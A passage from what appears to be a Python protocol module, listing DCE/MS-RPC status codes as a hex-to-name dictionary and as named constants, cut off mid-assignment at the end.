0x16c9a0f1 : \"rpc_s_auth_badorder\",\n    0x16c9a0f2 : \"rpc_s_auth_badkeyver\",\n    0x16c9a0f3 : \"rpc_s_auth_nokey\",\n    0x16c9a0f4 : \"rpc_s_auth_mut_fail\",\n    0x16c9a0f5 : \"rpc_s_auth_baddirection\",\n    0x16c9a0f6 : \"rpc_s_auth_method\",\n    0x16c9a0f7 : \"rpc_s_auth_badseq\",\n    0x16c9a0f8 : \"rpc_s_auth_inapp_cksum\",\n    0x16c9a0f9 : \"rpc_s_auth_field_toolong\",\n    0x16c9a0fa : \"rpc_s_invalid_crc\",\n    0x16c9a0fb : \"rpc_s_binding_incomplete\",\n    0x16c9a0fc : \"rpc_s_key_func_not_allowed\",\n    0x16c9a0fd : \"rpc_s_unknown_stub_rtl_if_vers\",\n    0x16c9a0fe : \"rpc_s_unknown_ifspec_vers\",\n    0x16c9a0ff : \"rpc_s_proto_unsupp_by_auth\",\n    0x16c9a100 : \"rpc_s_authn_challenge_malformed\",\n    0x16c9a101 : \"rpc_s_protect_level_mismatch\",\n    0x16c9a102 : \"rpc_s_no_mepv\",\n    0x16c9a103 : \"rpc_s_stub_protocol_error\",\n    0x16c9a104 : \"rpc_s_class_version_mismatch\",\n    0x16c9a105 : \"rpc_s_helper_not_running\",\n    0x16c9a106 : \"rpc_s_helper_short_read\",\n    0x16c9a107 : \"rpc_s_helper_catatonic\",\n    0x16c9a108 : \"rpc_s_helper_aborted\",\n    0x16c9a109 : \"rpc_s_not_in_kernel\",\n    0x16c9a10a : \"rpc_s_helper_wrong_user\",\n    0x16c9a10b : \"rpc_s_helper_overflow\",\n    0x16c9a10c : \"rpc_s_dg_need_way_auth\",\n    0x16c9a10d : \"rpc_s_unsupported_auth_subtype\",\n    0x16c9a10e : \"rpc_s_wrong_pickle_type\",\n    0x16c9a10f : \"rpc_s_not_listening\",\n    0x16c9a110 : \"rpc_s_ss_bad_buffer\",\n    0x16c9a111 : \"rpc_s_ss_bad_es_action\",\n    0x16c9a112 : \"rpc_s_ss_wrong_es_version\",\n    0x16c9a113 : \"rpc_s_fault_user_defined\",\n    0x16c9a114 : \"rpc_s_ss_incompatible_codesets\",\n    0x16c9a115 : \"rpc_s_tx_not_in_transaction\",\n    0x16c9a116 : \"rpc_s_tx_open_failed\",\n    0x16c9a117 : \"rpc_s_partial_credentials\",\n    0x16c9a118 : \"rpc_s_ss_invalid_codeset_tag\",\n    0x16c9a119 : \"rpc_s_mgmt_bad_type\",\n    0x16c9a11a : \"rpc_s_ss_invalid_char_input\",\n    0x16c9a11b : \"rpc_s_ss_short_conv_buffer\",\n    0x16c9a11c : \"rpc_s_ss_iconv_error\",\n    0x16c9a11d : \"rpc_s_ss_no_compat_codeset\",\n    0x16c9a11e : \"rpc_s_ss_no_compat_charsets\",\n    0x16c9a11f : \"dce_cs_c_ok\",\n    0x16c9a120 : \"dce_cs_c_unknown\",\n    0x16c9a121 : \"dce_cs_c_notfound\",\n    0x16c9a122 : \"dce_cs_c_cannot_open_file\",\n    0x16c9a123 : \"dce_cs_c_cannot_read_file\",\n    0x16c9a124 : \"dce_cs_c_cannot_allocate_memory\",\n    0x16c9a125 : \"rpc_s_ss_cleanup_failed\",\n    0x16c9a126 : \"rpc_svc_desc_general\",\n    0x16c9a127 : \"rpc_svc_desc_mutex\",\n    0x16c9a128 : \"rpc_svc_desc_xmit\",\n    0x16c9a129 : \"rpc_svc_desc_recv\",\n    0x16c9a12a : \"rpc_svc_desc_dg_state\",\n    0x16c9a12b : \"rpc_svc_desc_cancel\",\n    0x16c9a12c : \"rpc_svc_desc_orphan\",\n    0x16c9a12d : \"rpc_svc_desc_cn_state\",\n    0x16c9a12e : \"rpc_svc_desc_cn_pkt\",\n    0x16c9a12f : \"rpc_svc_desc_pkt_quotas\",\n    0x16c9a130 : \"rpc_svc_desc_auth\",\n    0x16c9a131 : \"rpc_svc_desc_source\",\n    0x16c9a132 : \"rpc_svc_desc_stats\",\n    0x16c9a133 : \"rpc_svc_desc_mem\",\n    0x16c9a134 : \"rpc_svc_desc_mem_type\",\n    0x16c9a135 : \"rpc_svc_desc_dg_pktlog\",\n    0x16c9a136 : \"rpc_svc_desc_thread_id\",\n    0x16c9a137 : \"rpc_svc_desc_timestamp\",\n    0x16c9a138 : \"rpc_svc_desc_cn_errors\",\n    0x16c9a139 : \"rpc_svc_desc_conv_thread\",\n    0x16c9a13a : \"rpc_svc_desc_pid\",\n    0x16c9a13b : \"rpc_svc_desc_atfork\",\n    0x16c9a13c : \"rpc_svc_desc_cma_thread\",\n    0x16c9a13d : \"rpc_svc_desc_inherit\",\n    0x16c9a13e : \"rpc_svc_desc_dg_sockets\",\n    0x16c9a13f : \"rpc_svc_desc_timer\",\n    0x16c9a140 : \"rpc_svc_desc_threads\",\n    0x16c9a141 : \"rpc_svc_desc_server_call\",\n    0x16c9a142 : \"rpc_svc_desc_nsi\",\n    0x16c9a143 : \"rpc_svc_desc_dg_pkt\",\n    0x16c9a144 : \"rpc_m_cn_ill_state_trans_sa\",\n    0x16c9a145 : \"rpc_m_cn_ill_state_trans_ca\",\n    0x16c9a146 : \"rpc_m_cn_ill_state_trans_sg\",\n    0x16c9a147 : \"rpc_m_cn_ill_state_trans_cg\",\n    0x16c9a148 : \"rpc_m_cn_ill_state_trans_sr\",\n    0x16c9a149 : \"rpc_m_cn_ill_state_trans_cr\",\n    0x16c9a14a : \"rpc_m_bad_pkt_type\",\n    0x16c9a14b : \"rpc_m_prot_mismatch\",\n    0x16c9a14c : \"rpc_m_frag_toobig\",\n    0x16c9a14d : \"rpc_m_unsupp_stub_rtl_if\",\n    0x16c9a14e : \"rpc_m_unhandled_callstate\",\n    0x16c9a14f : \"rpc_m_call_failed\",\n    0x16c9a150 : \"rpc_m_call_failed_no_status\",\n    0x16c9a151 : \"rpc_m_call_failed_errno\",\n    0x16c9a152 : \"rpc_m_call_failed_s\",\n    0x16c9a153 : \"rpc_m_call_failed_c\",\n    0x16c9a154 : \"rpc_m_errmsg_toobig\",\n    0x16c9a155 : \"rpc_m_invalid_srchattr\",\n    0x16c9a156 : \"rpc_m_nts_not_found\",\n    0x16c9a157 : \"rpc_m_invalid_accbytcnt\",\n    0x16c9a158 : \"rpc_m_pre_v2_ifspec\",\n    0x16c9a159 : \"rpc_m_unk_ifspec\",\n    0x16c9a15a : \"rpc_m_recvbuf_toosmall\",\n    0x16c9a15b : \"rpc_m_unalign_authtrl\",\n    0x16c9a15c : \"rpc_m_unexpected_exc\",\n    0x16c9a15d : \"rpc_m_no_stub_data\",\n    0x16c9a15e : \"rpc_m_eventlist_full\",\n    0x16c9a15f : \"rpc_m_unk_sock_type\",\n    0x16c9a160 : \"rpc_m_unimp_call\",\n    0x16c9a161 : \"rpc_m_invalid_seqnum\",\n    0x16c9a162 : \"rpc_m_cant_create_uuid\",\n    0x16c9a163 : \"rpc_m_pre_v2_ss\",\n    0x16c9a164 : \"rpc_m_dgpkt_pool_corrupt\",\n    0x16c9a165 : \"rpc_m_dgpkt_bad_free\",\n    0x16c9a166 : \"rpc_m_lookaside_corrupt\",\n    0x16c9a167 : \"rpc_m_alloc_fail\",\n    0x16c9a168 : \"rpc_m_realloc_fail\",\n    0x16c9a169 : \"rpc_m_cant_open_file\",\n    0x16c9a16a : \"rpc_m_cant_read_addr\",\n    0x16c9a16b : \"rpc_svc_desc_libidl\",\n    0x16c9a16c : \"rpc_m_ctxrundown_nomem\",\n    0x16c9a16d : \"rpc_m_ctxrundown_exc\",\n    0x16c9a16e : \"rpc_s_fault_codeset_conv_error\",\n    0x16c9a16f : \"rpc_s_no_call_active\",\n    0x16c9a170 : \"rpc_s_cannot_support\",\n    0x16c9a171 : \"rpc_s_no_context_available\",\n}\n\nMSRPC_STATUS_CODE_RPC_S_ACCESS_DENIED = 0X00000005\nMSRPC_STATUS_CODE_AUTHENTICATION_TYPE_NOT_RECOGNIZED = 0X00000008\nMSRPC_STATUS_CODE_RPC_FAULT_CANT_PERFORM = 0X000006D8\nMSRPC_STATUS_CODE_RPC_X_INVALID_BOUND = 0X000006C6\nMSRPC_STATUS_CODE_RPC_S_CANNOT_SUPPORT = 0X000006E4\nMSRPC_STATUS_CODE_RPC_X_BAD_STUB_DATA = 0X000006F7\nMSRPC_STATUS_CODE_NCA_S_COMM_FAILURE = 0X1C010001\nMSRPC_STATUS_CODE_NCA_S_OP_RNG_ERROR = 0X1C010002\nMSRPC_STATUS_CODE_NCA_S_UNK_IF = 0X1C010003\nMSRPC_STATUS_CODE_NCA_S_WRONG_BOOT_TIME = 0X1C010006\nMSRPC_STATUS_CODE_NCA_S_YOU_CRASHED = 0X1C010009\nMSRPC_STATUS_CODE_NCA_S_PROTO_ERROR = 0X1C01000B\nMSRPC_STATUS_CODE_NCA_S_OUT_ARGS_TOO_BIG = 0X1C010013\nMSRPC_STATUS_CODE_NCA_S_SERVER_TOO_BUSY = 0X1C010014\nMSRPC_STATUS_CODE_NCA_S_FAULT_STRING_TOO_LONG = 0X1C010015\nMSRPC_STATUS_CODE_NCA_S_UNSUPPORTED_TYPE = 0X1C010017\nMSRPC_STATUS_CODE_NCA_S_FAULT_INT_DIV_BY_ZERO = 0X1C000001\nMSRPC_STATUS_CODE_NCA_S_FAULT_ADDR_ERROR = 0X1C000002\nMSRPC_STATUS_CODE_NCA_S_FAULT_FP_DIV_ZERO = 0X1C000003\nMSRPC_STATUS_CODE_NCA_S_FAULT_FP_UNDERFLOW = 0X1C000004\nMSRPC_STATUS_CODE_NCA_S_FAULT_FP_OVERFLOW = 0X1C000005\nMSRPC_STATUS_CODE_NCA_S_FAULT_INVALID_TAG = 0X1C000006\nMSRPC_STATUS_CODE_NCA_S_FAULT_INVALID_BOUND = 0X1C000007\nMSRPC_STATUS_CODE_NCA_S_RPC_VERSION_MISMATCH = 0X1C000008\nMSRPC_STATUS_CODE_NCA_S_UNSPEC_REJECT = 0X1C000009\nMSRPC_STATUS_CODE_NCA_S_BAD_ACTID = 0X1C00000A\nMSRPC_STATUS_CODE_NCA_S_WHO_ARE_YOU_FAILED = 0X1C00000B\nMSRPC_STATUS_CODE_NCA_S_MANAGER_NOT_ENTERED = 0X1C00000C\nMSRPC_STATUS_CODE_NCA_S_FAULT_CANCEL = 0X1C00000D\nMSRPC_STATUS_CODE_NCA_S_FAULT_ILL_INST = 0X1C00000E\nMSRPC_STATUS_CODE_NCA_S_FAULT_FP_ERROR = 0X1C00000F\nMSRPC_STATUS_CODE_NCA_S_FAULT_INT_OVERFLOW = 0X1C000010\nMSRPC_STATUS_CODE_NCA_S_FAULT_UNSPEC = 0X1C000012\nMSRPC_STATUS_CODE_NCA_S_FAULT_REMOTE_COMM_FAILURE = 0X1C000013\nMSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_EMPTY = 0X1C000014\nMSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_CLOSED = 0X1C000015\nMSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_ORDER = 0X1C000016\nMSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_DISCIPLINE = 0X1C000017\nMSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_COMM_ERROR = 0X1C000018\nMSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_MEMORY = 0X1C000019\nMSRPC_STATUS_CODE_NCA_S_FAULT_CONTEXT_MISMATCH = 0X1C00001A\nMSRPC_STATUS_CODE_NCA_S_FAULT_REMOTE_NO_MEMORY = 0X1C00001B\nMSRPC_STATUS_CODE_NCA_S_INVALID_PRES_CONTEXT_ID = 0X1C00001C\nMSRPC_STATUS_CODE_NCA_S_UNSUPPORTED_AUTHN_LEVEL = 0X1C00001D\nMSRPC_STATUS_CODE_NCA_S_INVALID_CHECKSUM = 0X1C00001F\nMSRPC_STATUS_CODE_NCA_S_INVALID_CRC = 0X1C000020\nMSRPC_STATUS_CODE_NCA_S_FAULT_USER_DEFINED = 0X1C000021\nMSRPC_STATUS_CODE_NCA_S_FAULT_TX_OPEN_FAILED = 0X1C000022\nMSRPC_STATUS_CODE_NCA_S_FAULT_CODESET_CONV_ERROR = 0X1C000023\nMSRPC_STATUS_CODE_NCA_S_FAULT_OBJECT_NOT_FOUND = 0X1C000024\nMSRPC_STATUS_CODE_NCA_S_FAULT_NO_CLIENT_STUB = 0X1C000025\nMSRPC_STATUS_CODE_RPC_S_MOD = 0X16C9A000\nMSRPC_STATUS_CODE_RPC_S_OP_RNG_ERROR = 0X16C9A001\nMSRPC_STATUS_CODE_RPC_S_CANT_CREATE_SOCKET = 0X16C9A002\nMSRPC_STATUS_CODE_RPC_S_CANT_BIND_SOCKET = 0X16C9A003\nMSRPC_STATUS_CODE_RPC_S_NOT_IN_CALL = 0X16C9A004\nMSRPC_STATUS_CODE_RPC_S_NO_PORT = 0X16C9A005\nMSRPC_STATUS_CODE_RPC_S_WRONG_BOOT_TIME = 0X16C9A006\nMSRPC_STATUS_CODE_RPC_S_TOO_MANY_SOCKETS = 0X16C9A007\nMSRPC_STATUS_CODE_RPC_S_ILLEGAL_REGISTER = 0X16C9A008\nMSRPC_STATUS_CODE_RPC_S_CANT_RECV = 0X16C9A009\nMSRPC_STATUS_CODE_RPC_S_BAD_PKT = 0X16C9A00A\nMSRPC_STATUS_CODE_RPC_S_UNBOUND_HANDLE = 0X16C9A00B\nMSRPC_STATUS_CODE_RPC_S_ADDR_IN_USE = 0X16C9A00C\nMSRPC_STATUS_CODE_RPC_S_IN_ARGS_TOO_BIG = 0X16C9A00D\nMSRPC_STATUS_CODE_RPC_S_STRING_TOO_LONG = 0X16C9A00E\nMSRPC_STATUS_CODE_RPC_S_TOO_MANY_OBJECTS = 0X16C9A00F\nMSRPC_STATUS_CODE_RPC_S_BINDING_HAS_NO_AUTH = 0X16C9A010\nMSRPC_STATUS_CODE_RPC_S_UNKNOWN_AUTHN_SERVICE = 0X16C9A011\nMSRPC_STATUS_CODE_RPC_S_NO_MEMORY = 0X16C9A012\nMSRPC_STATUS_CODE_RPC_S_CANT_NMALLOC = 0X16C9A013\nMSRPC_STATUS_CODE_RPC_S_CALL_FAULTED = 0X16C9A014\nMSRPC_STATUS_CODE_RPC_S_CALL_FAILED = 0X16C9A015\nMSRPC_STATUS_CODE_RPC_S_COMM_FAILURE = 0X16C9A016\nMSRPC_STATUS_CODE_RPC_S_RPCD_COMM_FAILURE = 0X16C9A017\nMSRPC_STATUS_CODE_RPC_S_ILLEGAL_FAMILY_REBIND = 0X16C9A018\nMSRPC_STATUS_CODE_RPC_S_INVALID_HANDLE = 0X16C9A019\nMSRPC_STATUS_CODE_RPC_S_CODING_ERROR = 0X16C9A01A\nMSRPC_STATUS_CODE_RPC_S_OBJECT_NOT_FOUND = 0X16C9A01B\nMSRPC_STATUS_CODE_RPC_S_CTHREAD_NOT_FOUND = 0X16C9A01C\nMSRPC_STATUS_CODE_RPC_S_INVALID_BINDING = 0X16C9A01D\nMSRPC_STATUS_CODE_RPC_S_ALREADY_REGISTERED = 0X16C9A01E\nMSRPC_STATUS_CODE_RPC_S_ENDPOINT_NOT_FOUND = 0X16C9A01F\nMSRPC_STATUS_CODE_RPC_S_INVALID_RPC_PROTSEQ = 0X16C9A020\nMSRPC_STATUS_CODE_RPC_S_DESC_NOT_REGISTERED = 0X16C9A021\nMSRPC_STATUS_CODE_RPC_S_ALREADY_LISTENING = 0X16C9A022\nMSRPC_STATUS_CODE_RPC_S_NO_PROTSEQS = 0X16C9A023\nMSRPC_STATUS_CODE_RPC_S_NO_PROTSEQS_REGISTERED = 0X16C9A024\nMSRPC_STATUS_CODE_RPC_S_NO_BINDINGS = 0X16C9A025\nMSRPC_STATUS_CODE_RPC_S_MAX_DESCS_EXCEEDED = 0X16C9A026\nMSRPC_STATUS_CODE_RPC_S_NO_INTERFACES = 0X16C9A027\nMSRPC_STATUS_CODE_RPC_S_INVALID_TIMEOUT = 0X16C9A028\nMSRPC_STATUS_CODE_RPC_S_CANT_INQ_SOCKET = 0X16C9A029\nMSRPC_STATUS_CODE_RPC_S_INVALID_NAF_ID = 0X16C9A02A\nMSRPC_STATUS_CODE_RPC_S_INVAL_NET_ADDR = 0X16C9A02B\nMSRPC_STATUS_CODE_RPC_S_UNKNOWN_IF = 0X16C9A02C\nMSRPC_STATUS_CODE_RPC_S_UNSUPPORTED_TYPE = 0X16C9A02D\nMSRPC_STATUS_CODE_RPC_S_INVALID_CALL_OPT = 0X16C9A02E\nMSRPC_STATUS_CODE_RPC_S_NO_FAULT = 0X16C9A02F\nMSRPC_STATUS_CODE_RPC_S_CANCEL_TIMEOUT = 0X16C9A030\nMSRPC_STATUS_CODE_RPC_S_CALL_CANCELLED = 0X16C9A031\nMSRPC_STATUS_CODE_RPC_S_INVALID_CALL_HANDLE = 0X16C9A032\nMSRPC_STATUS_CODE_RPC_S_CANNOT_ALLOC_ASSOC = 0X16C9A033\nMSRPC_STATUS_CODE_RPC_S_CANNOT_CONNECT = 0X16C9A034\nMSRPC_STATUS_CODE_RPC_S_CONNECTION_ABORTED = 0X16C9A035\nMSRPC_STATUS_CODE_RPC_S_CONNECTION_CLOSED = 0X16C9A036\nMSRPC_STATUS_CODE_RPC_S_CANNOT_ACCEPT = 0X16C9A037\nMSRPC_STATUS_CODE_RPC_S_ASSOC_GRP_NOT_FOUND = 0X16C9A038\nMSRPC_STATUS_CODE_RPC_S_STUB_INTERFACE_ERROR = 0X16C9A039\nMSRPC_STATUS_CODE_RPC_S_INVALID_OBJECT = 0X16C9A03A\nMSRPC_STATUS_CODE_RPC_S_INVALID_TYPE = 0X16C9A03B\nMSRPC_STATUS_CODE_RPC_S_INVALID_IF_OPNUM = 0X16C9A03C\nMSRPC_STATUS_CODE_RPC_S_DIFFERENT_SERVER_INSTANCE = 0X16C9A03D\nMSRPC_STATUS_CODE_RPC_S_PROTOCOL_ERROR = 0X16C9A03E\nMSRPC_STATUS_CODE_RPC_S_CANT_RECVMSG = 0X16C9A03F\nMSRPC_STATUS_CODE_RPC_S_INVALID_STRING_BINDING = 0X16C9A040\nMSRPC_STATUS_CODE_RPC_S_CONNECT_TIMED_OUT = 0X16C9A041\nMSRPC_STATUS_CODE_RPC_S_CONNECT_REJECTED = 0X16C9A042\nMSRPC_STATUS_CODE_RPC_S_NETWORK_UNREACHABLE = 0X16C9A043\nMSRPC_STATUS_CODE_RPC_S_CONNECT_NO_RESOURCES = 0X16C9A044\nMSRPC_STATUS_CODE_RPC_S_REM_NETWORK_SHUTDOWN = 0X16C9A045\nMSRPC_STATUS_CODE_RPC_S_TOO_MANY_REM_CONNECTS = 0X16C9A046\nMSRPC_STATUS_CODE_RPC_S_NO_REM_ENDPOINT = 0X16C9A047\nMSRPC_STATUS_CODE_RPC_S_REM_HOST_DOWN = 0X16C9A048\nMSRPC_STATUS_CODE_RPC_S_HOST_UNREACHABLE = 0X16C9A049\nMSRPC_STATUS_CODE_RPC_S_ACCESS_CONTROL_INFO_INV = 0X16C9A04A\nMSRPC_STATUS_CODE_RPC_S_LOC_CONNECT_ABORTED = 0X16C9A04B\nMSRPC_STATUS_CODE_RPC_S_CONNECT_CLOSED_BY_REM = 0X16C9A04C\nMSRPC_STATUS_CODE_RPC_S_REM_HOST_CRASHED = 0X16C9A04D\nMSRPC_STATUS_CODE_RPC_S_INVALID_ENDPOINT_FORMAT = 0X16C9A04E\nMSRPC_STATUS_CODE_RPC_S_UNKNOWN_STATUS_CODE = 0X16C9A04F\nMSRPC_STATUS_CODE_RPC_S_UNKNOWN_MGR_TYPE = 0X16C9A050\nMSRPC_STATUS_CODE_RPC_S_ASSOC_CREATION_FAILED = 0X16C9A051\nMSRPC_STATUS_CODE_RPC_S_ASSOC_GRP_MAX_EXCEEDED = 0X16C9A052\nMSRPC_STATUS_CODE_RPC_S_ASSOC_GRP_ALLOC_FAILED = 0X16C9A053\nMSRPC_STATUS_CODE_RPC_S_SM_INVALID_STATE = 0X16C9A054\nMSRPC_STATUS_CODE_RPC_S_ASSOC_REQ_REJECTED = 0X16C9A055\nMSRPC_STATUS_CODE_RPC_S_ASSOC_SHUTDOWN = 0X16C9A056\nMSRPC_STATUS_CODE_RPC_S_TSYNTAXES_UNSUPPORTED = 0X16C9A057\nMSRPC_STATUS_CODE_RPC_S_CONTEXT_ID_NOT_FOUND = 0X16C9A058\nMSRPC_STATUS_CODE_RPC_S_CANT_LISTEN_SOCKET = 0X16C9A059\nMSRPC_STATUS_CODE_RPC_S_NO_ADDRS = 0X16C9A05A\nMSRPC_STATUS_CODE_RPC_S_CANT_GETPEERNAME = 0X16C9A05B\nMSRPC_STATUS_CODE_RPC_S_CANT_GET_IF_ID = 0X16C9A05C\nMSRPC_STATUS_CODE_RPC_S_PROTSEQ_NOT_SUPPORTED = 0X16C9A05D\nMSRPC_STATUS_CODE_RPC_S_CALL_ORPHANED = 0X16C9A05E\nMSRPC_STATUS_CODE_RPC_S_WHO_ARE_YOU_FAILED = 0X16C9A05F\nMSRPC_STATUS_CODE_RPC_S_UNKNOWN_REJECT = 0X16C9A060\nMSRPC_STATUS_CODE_RPC_S_TYPE_ALREADY_REGISTERED = 0X16C9A061\nMSRPC_STATUS_CODE_RPC_S_STOP_LISTENING_DISABLED = 0X16C9A062\nMSRPC_STATUS_CODE_RPC_S_INVALID_ARG = 0X16C9A063\nMSRPC_STATUS_CODE_RPC_S_NOT_SUPPORTED = 0X16C9A064\nMSRPC_STATUS_CODE_RPC_S_WRONG_KIND_OF_BINDING = 0X16C9A065\nMSRPC_STATUS_CODE_RPC_S_AUTHN_AUTHZ_MISMATCH = 0X16C9A066\nMSRPC_STATUS_CODE_RPC_S_CALL_QUEUED = 0X16C9A067\nMSRPC_STATUS_CODE_RPC_S_CANNOT_SET_NODELAY = 0X16C9A068\nMSRPC_STATUS_CODE_RPC_S_NOT_RPC_TOWER = 0X16C9A069\nMSRPC_STATUS_CODE_RPC_S_INVALID_RPC_PROTID = 0X16C9A06A\nMSRPC_STATUS_CODE_RPC_S_INVALID_RPC_FLOOR = 0X16C9A06B\nMSRPC_STATUS_CODE_RPC_S_CALL_TIMEOUT = 0X16C9A06C\nMSRPC_STATUS_CODE_RPC_S_MGMT_OP_DISALLOWED = 0X16C9A06D\nMSRPC_STATUS_CODE_RPC_S_MANAGER_NOT_ENTERED = 0X16C9A06E\nMSRPC_STATUS_CODE_RPC_S_CALLS_TOO_LARGE_FOR_WK_EP = 0X16C9A06F\nMSRPC_STATUS_CODE_RPC_S_SERVER_TOO_BUSY = 0X16C9A070\nMSRPC_STATUS_CODE_RPC_S_PROT_VERSION_MISMATCH = 0X16C9A071\nMSRPC_STATUS_CODE_RPC_S_RPC_PROT_VERSION_MISMATCH = 0X16C9A072\nMSRPC_STATUS_CODE_RPC_S_SS_NO_IMPORT_CURSOR = 0X16C9A073\nMSRPC_STATUS_CODE_RPC_S_FAULT_ADDR_ERROR = 0X16C9A074\nMSRPC_STATUS_CODE_RPC_S_FAULT_CONTEXT_MISMATCH = 0X16C9A075\nMSRPC_STATUS_CODE_RPC_S_FAULT_FP_DIV_BY_ZERO = 0X16C9A076\nMSRPC_STATUS_CODE_RPC_S_FAULT_FP_ERROR = 0X16C9A077\nMSRPC_STATUS_CODE_RPC_S_FAULT_FP_OVERFLOW = 0X16C9A078\nMSRPC_STATUS_CODE_RPC_S_FAULT_FP_UNDERFLOW = 0X16C9A079\nMSRPC_STATUS_CODE_RPC_S_FAULT_ILL_INST = 0X16C9A07A\nMSRPC_STATUS_CODE_RPC_S_FAULT_INT_DIV_BY_ZERO = 0X16C9A07B\nMSRPC_STATUS_CODE_RPC_S_FAULT_INT_OVERFLOW = 0X16C9A07C\nMSRPC_STATUS_CODE_RPC_S_FAULT_INVALID_BOUND = 0X16C9A07D\nMSRPC_STATUS_CODE_RPC_S_FAULT_INVALID_TAG = 0X16C9A07E\nMSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_CLOSED = 0X16C9A07F\nMSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_COMM_ERROR = 0X16C9A080\nMSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_DISCIPLINE = 0X16C9A081\nMSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_EMPTY = 0X16C9A082\nMSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_MEMORY = 0X16C9A083\nMSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_ORDER = 0X16C9A084\nMSRPC_STATUS_CODE_RPC_S_FAULT_REMOTE_COMM_FAILURE = 0X16C9A085\nMSRPC_STATUS_CODE_RPC_S_FAULT_REMOTE_NO_MEMORY = 0X16C9A086\nMSRPC_STATUS_CODE_RPC_S_FAULT_UNSPEC = 0X16C9A087\nMSRPC_STATUS_CODE_UUID_S_BAD_VERSION = 0X16C9A088\nMSRPC_STATUS_CODE_UUID_S_SOCKET_FAILURE = 0X16C9A089\nMSRPC_STATUS_CODE_UUID_S_GETCONF_FAILURE = 0X16C9A08A\nMSRPC_STATUS_CODE_UUID_S_NO_ADDRESS = 0X16C9A08B\nMSRPC_STATUS_CODE_UUID_S_OVERRUN = 0X16C9A08C\nMSRPC_STATUS_CODE_UUID_S_INTERNAL_ERROR = 0X16C9A08D\nMSRPC_STATUS_CODE_UUID_S_CODING_ERROR = 0X16C9A08E\nMSRPC_STATUS_CODE_UUID_S_INVALID_STRING_UUID = 0X16C9A08F\nMSRPC_STATUS_CODE_UUID_S_NO_MEMORY = 0X16C9A090\nMSRPC_STATUS_CODE_RPC_S_NO_MORE_ENTRIES = 0X16C9A091\nMSRPC_STATUS_CODE_RPC_S_UNKNOWN_NS_ERROR = 0X16C9A092\nMSRPC_STATUS_CODE_RPC_S_NAME_SERVICE_UNAVAILABLE = 0X16C9A093\nMSRPC_STATUS_CODE_RPC_S_INCOMPLETE_NAME = 0X16C9A094\nMSRPC_STATUS_CODE_RPC_S_GROUP_NOT_FOUND = 0X16C9A095\nMSRPC_STATUS_CODE_RPC_S_INVALID_NAME_SYNTAX = 0X16C9A096\nMSRPC_STATUS_CODE_RPC_S_NO_MORE_MEMBERS = 0X16C9A097\nMSRPC_STATUS_CODE_RPC_S_NO_MORE_INTERFACES = 0X16C9A098\nMSRPC_STATUS_CODE_RPC_S_INVALID_NAME_SERVICE = 0X16C9A099\nMSRPC_STATUS_CODE_RPC_S_NO_NAME_MAPPING = 0X16C9A09A\nMSRPC_STATUS_CODE_RPC_S_PROFILE_NOT_FOUND = 0X16C9A09B\nMSRPC_STATUS_CODE_RPC_S_NOT_FOUND = 0X16C9A09C\nMSRPC_STATUS_CODE_RPC_S_NO_UPDATES = 0X16C9A09D\nMSRPC_STATUS_CODE_RPC_S_UPDATE_FAILED = 0X16C9A09E\nMSRPC_STATUS_CODE_RPC_S_NO_MATCH_EXPORTED = 0X16C9A09F\nMSRPC_STATUS_CODE_RPC_S_ENTRY_NOT_FOUND = 0X16C9A0A0\nMSRPC_STATUS_CODE_RPC_S_INVALID_INQUIRY_CONTEXT = 0X16C9A0A1\nMSRPC_STATUS_CODE_RPC_S_INTERFACE_NOT_FOUND = 0X16C9A0A2\nMSRPC_STATUS_CODE_RPC_S_GROUP_MEMBER_NOT_FOUND = 0X16C9A0A3\nMSRPC_STATUS_CODE_RPC_S_ENTRY_ALREADY_EXISTS = 0X16C9A0A4\nMSRPC_STATUS_CODE_RPC_S_NSINIT_FAILURE = 0X16C9A0A5\nMSRPC_STATUS_CODE_RPC_S_UNSUPPORTED_NAME_SYNTAX = 0X16C9A0A6\nMSRPC_STATUS_CODE_RPC_S_NO_MORE_ELEMENTS = 0X16C9A0A7\nMSRPC_STATUS_CODE_RPC_S_NO_NS_PERMISSION = 0X16C9A0A8\nMSRPC_STATUS_CODE_RPC_S_INVALID_INQUIRY_TYPE = 0X16C9A0A9\nMSRPC_STATUS_CODE_RPC_S_PROFILE_ELEMENT_NOT_FOUND = 0X16C9A0AA\nMSRPC_STATUS_CODE_RPC_S_PROFILE_ELEMENT_REPLACED = 0X16C9A0AB\nMSRPC_STATUS_CODE_RPC_S_IMPORT_ALREADY_DONE = 0X16C9A0AC\nMSRPC_STATUS_CODE_RPC_S_DATABASE_BUSY = 0X16C9A0AD\nMSRPC_STATUS_CODE_RPC_S_INVALID_IMPORT_CONTEXT = 0X16C9A0AE\nMSRPC_STATUS_CODE_RPC_S_UUID_SET_NOT_FOUND = 0X16C9A0AF\nMSRPC_STATUS_CODE_RPC_S_UUID_MEMBER_NOT_FOUND = 0X16C9A0B0\nMSRPC_STATUS_CODE_RPC_S_NO_INTERFACES_EXPORTED = 0X16C9A0B1\nMSRPC_STATUS_CODE_RPC_S_TOWER_SET_NOT_FOUND = 0X16C9A0B2\nMSRPC_STATUS_CODE_RPC_S_TOWER_MEMBER_NOT_FOUND = 0X16C9A0B3\nMSRPC_STATUS_CODE_RPC_S_OBJ_UUID_NOT_FOUND = 0X16C9A0B4\nMSRPC_STATUS_CODE_RPC_S_NO_MORE_BINDINGS = 0X16C9A0B5\nMSRPC_STATUS_CODE_RPC_S_INVALID_PRIORITY = 0X16C9A0B6\nMSRPC_STATUS_CODE_RPC_S_NOT_RPC_ENTRY = 0X16C9A0B7\nMSRPC_STATUS_CODE_RPC_S_INVALID_LOOKUP_CONTEXT = 0X16C9A0B8\nMSRPC_STATUS_CODE_RPC_S_BINDING_VECTOR_FULL = 0X16C9A0B9\nMSRPC_STATUS_CODE_RPC_S_CYCLE_DETECTED = 0X16C9A0BA\nMSRPC_STATUS_CODE_RPC_S_NOTHING_TO_EXPORT = 0X16C9A0BB\nMSRPC_STATUS_CODE_RPC_S_NOTHING_TO_UNEXPORT = 0X16C9A0BC\nMSRPC_STATUS_CODE_RPC_S_INVALID_VERS_OPTION = 